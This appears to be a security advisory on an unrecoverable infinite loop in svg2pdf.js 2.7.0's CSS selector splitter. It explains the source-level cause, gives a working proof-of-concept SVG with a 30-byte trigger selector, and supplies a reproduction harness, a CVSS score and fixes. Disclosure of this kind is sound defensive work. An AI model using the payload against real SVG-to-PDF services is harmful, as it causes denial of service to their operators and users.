Infinite Loop svg2pdf.js CSS Selectors: CVE Research
Created August 25, 2026 • Last updated September 13, 2026 • 6 min read • 1,622 views
Summary of the svg2pdf.js Infinite Loop Issue
svg2pdf.js parses every inline <style> element in the SVG it converts and splits any CSS selector containing a comma into its individual parts. The splitter is a hand-rolled state machine whose loop header has no increment expression, so every iteration depends on the body to advance the cursor. The quote-handling branch fails to do so when the selector contains an empty quoted string, and the loop never terminates.
A selector such as a[href=""], b is enough. The hang occurs inside svg2pdf() before any element is rendered, on the calling thread. It allocates nothing, grows no stack and throws nothing, so the calling application cannot recover with a try/catch, a Promise timeout, or any other guard.
How the svg2pdf.js Infinite Loop Bug Works
Every inline stylesheet is parsed unconditionally
src/context/stylesheets.ts:43-47 collects all <style> and <link> elements in the document:
const styleElements = this.rootSvg.querySelectorAll('style,link')
for (let i = 0; i < styleElements.length; i++) {
const styleElement = styleElements[i]
if (nodeIs(styleElement, 'style')) {
sheetTexts.push(styleElement.textContent)
The loadExternalStyleSheets option gates only <link> elements and xml-stylesheet processing instructions. Inline <style> content is always parsed, so the default configuration is affected.
Selectors containing a comma reach the splitter
src/context/stylesheets.ts:77-80:
if (cssStyleRule.selectorText.indexOf(',') >= 0) {
sheet.deleteRule(i)
const body = cssStyleRule.cssText.substring(cssStyleRule.selectorText.length)
const selectors = StyleSheets.splitSelectorAtCommas(cssStyleRule.selectorText)
The loop header has no increment
src/context/stylesheets.ts:102-134:
for (let i = 0; i < selectorText.length; ) {
switch (state) {
case 'initial':
// ... always assigns i = initialRegex.lastIndex or i = selectorText.length
break
case 'withinQuotes':
closingQuotesRegex.lastIndex = i
match = closingQuotesRegex.exec(selectorText)
if (match) {
i = closingQuotesRegex.lastIndex
state = 'initial'
}
// else this is a syntax error - omit the last part...
break
}
}
All forward progress depends on the body. In the withinQuotes branch, when exec returns null, neither i nor state is modified. The break exits the switch, not the loop, and the comment describes an exit condition that was never implemented. The next iteration re-enters the same branch with the same i and the same state.
The closing-quote regex can never match an empty string
This is what makes exec return null in the first place. src/context/stylesheets.ts:92-94:
const initialRegex = /,|["']/g
const closingDoubleQuotesRegex = /[^\\]["]/g
const closingSingleQuotesRegex = /[^\\][']/g
Both closing patterns require a character to precede the quote. The scan resumes at i, which the initial branch already advanced to just past the opening quote. For a[href=""], b the opening quote sits at index 7, so i becomes 8. Matching the closing quote at index 8 would require consuming the character at index 7, which is behind the scan position:
const re = /[^\\]["]/g
re.lastIndex = 8
re.exec('a[href=""], b') // null
No later quote exists in the string, so the pattern can never match. Any empty quoted string inside a selector that also contains a comma reaches this state.
Selector | Iterations | Result |
|---|---|---|
| 4 | Terminates, returns |
| Unbounded | Pinned at index 8, state |
| Unbounded | Pinned at the first empty quoted string |
The defect ships in the built artifact
It is not confined to the TypeScript source. From dist/svg2pdf.umd.min.js as published in 2.7.0:
case"withinQuotes":l.lastIndex=u,(e=l.exec(t))&&(u=l.lastIndex,s="initial")
The minified loop header is u=0;u<t.length;, again with no increment, and the branch leaves u unchanged when l.exec(t) returns null.
splitSelectorAtCommas is called from parseCssSheets, which is called from StyleSheets.load, which svg2pdf() awaits at src/svg2pdf.ts:25 , before the document is parsed into nodes and before anything is rendered.
Proof of Concept
Requirements: svg2pdf.js 2.7.0 and any jsPDF 3.x build. The payload is a single CSS rule inside the SVG.
<!doctype html>
<script src="https://unpkg.com/jspdf@3/dist/jspdf.umd.js"></script>
<script src="https://unpkg.com/svg2pdf.js@2.7.0/dist/svg2pdf.umd.js"></script>
<script>
const svg = `<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<style>a[href=""], b { fill: red }</style>
<rect width="100" height="100"/>
</svg>`
const element = new DOMParser()
.parseFromString(svg, 'image/svg+xml').firstElementChild
const pdf = new jspdf.jsPDF('p', 'pt', [100, 100])
setTimeout(() => console.log('this timer never fires'), 0)
pdf.svg(element).then(() => console.log('this line is never reached'))
</script>
The tab stops responding. Neither the timer nor the then callback runs. Wrapping the call in try/catch or racing it against a timeout does not help, because the thread never yields and no exception is thrown.
To observe the loop without freezing a browser, run the shipped splitter in isolation with an iteration cap. The body below is copied verbatim from dist/svg2pdf.umd.min.js:
function split(t, cap) {
for (var e, r = /,|["']/g, i = /[^\\]["]/g, n = /[^\\][']/g, a = [],
s = "initial", o = -1, l = i, u = 0, c = 0; u < t.length; ) {
if (++c > cap) return { terminated: false, iterations: c, index: u, state: s }
switch (s) {
case "initial":
r.lastIndex = u, (e = r.exec(t))
? ("," === e[0]
? (a.push(t.substring(o + 1, r.lastIndex - 1).trim()), o = r.lastIndex - 1)
: (s = "withinQuotes", l = '"' === e[0] ? i : n), u = r.lastIndex)
: (a.push(t.substring(o + 1).trim()), u = t.length)
break
case "withinQuotes":
l.lastIndex = u, (e = l.exec(t)) && (u = l.lastIndex, s = "initial")
}
}
return { terminated: true, iterations: c, parts: a }
}
console.log(split('a[href=","], b', 1e6))
console.log(split('a[href=""], b', 1e6))
Output:
{ terminated: true, iterations: 4, parts: [ 'a[href=","]', 'b' ] }
{ terminated: false, iterations: 1000001, index: 8, state: 'withinQuotes' }
A non-empty quoted value completes in four iterations. An empty one is still pinned at index 8 in state withinQuotes after one million iterations, and remains there indefinitely.
Impact
Denial of service against applications that convert SVG influenced by a party other than the operator , for example a service that renders user-supplied SVG to PDF. Where the same party authors the SVG and runs the conversion, there is no attacker and no impact.
In an affected deployment the attacker needs no account and no privileges, only the ability to get a crafted <style> rule into the converted SVG.
The loop is unrecoverable rather than merely disruptive. It performs no allocation, grows no stack, throws nothing, and never yields the thread, so it cannot be caught, timed out, or detected by a watchdog in the calling code. In a browser the tab becomes permanently unresponsive and must be closed, losing any unsaved application state. In an automated conversion pipeline running the library under a headless browser or a DOM emulation layer, the affected worker pins a CPU core indefinitely and must be killed externally. A small number of malicious documents is enough to exhaust the pool.
The payload is 30 bytes of CSS in a document that is otherwise a valid, innocuous SVG, and it triggers before any rendering occurs. Inspecting or sanitizing the drawable content of the document does not mitigate it.
Severity Assessment
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High)
Availability is fully lost for the affected process and cannot be restored from within the application. Confidentiality and integrity are unaffected.
Base metrics are constant across user environments, and the CVSS v3.1 User Guide directs scoring for the reasonable worst-case implementation scenario where the integration is unknown , the situation for any library. In deployments where the operator authors the SVG, the vulnerability is not applicable rather than lower severity.
The triggering selector is valid CSS that the CSSOM parses and returns normally, so the hang is reachable in hand-authored SVG as well as attacker-supplied SVG.
Fix for the svg2pdf.js Infinite Loop Issue
Three changes, in order of necessity.
Guarantee forward progress. In the withinQuotes branch, when the closing-quote pattern does not match, implement the exit the existing comment already describes:
case 'withinQuotes':
closingQuotesRegex.lastIndex = i
match = closingQuotesRegex.exec(selectorText)
if (match) {
i = closingQuotesRegex.lastIndex
state = 'initial'
} else {
// syntax error - omit the last part
i = selectorText.length
}
break
Fix the closing-quote patterns so an empty quoted string is matched at all:
const closingDoubleQuotesRegex = /\\[\s\S]|"/g
const closingSingleQuotesRegex = /\\[\s\S]|'/g
These match either an escape sequence or the quote itself, without requiring a preceding character.
Bound the loop as defense in depth. Give the loop an unconditional increment or an iteration cap, so that any future state that fails to advance terminates instead of hanging the thread.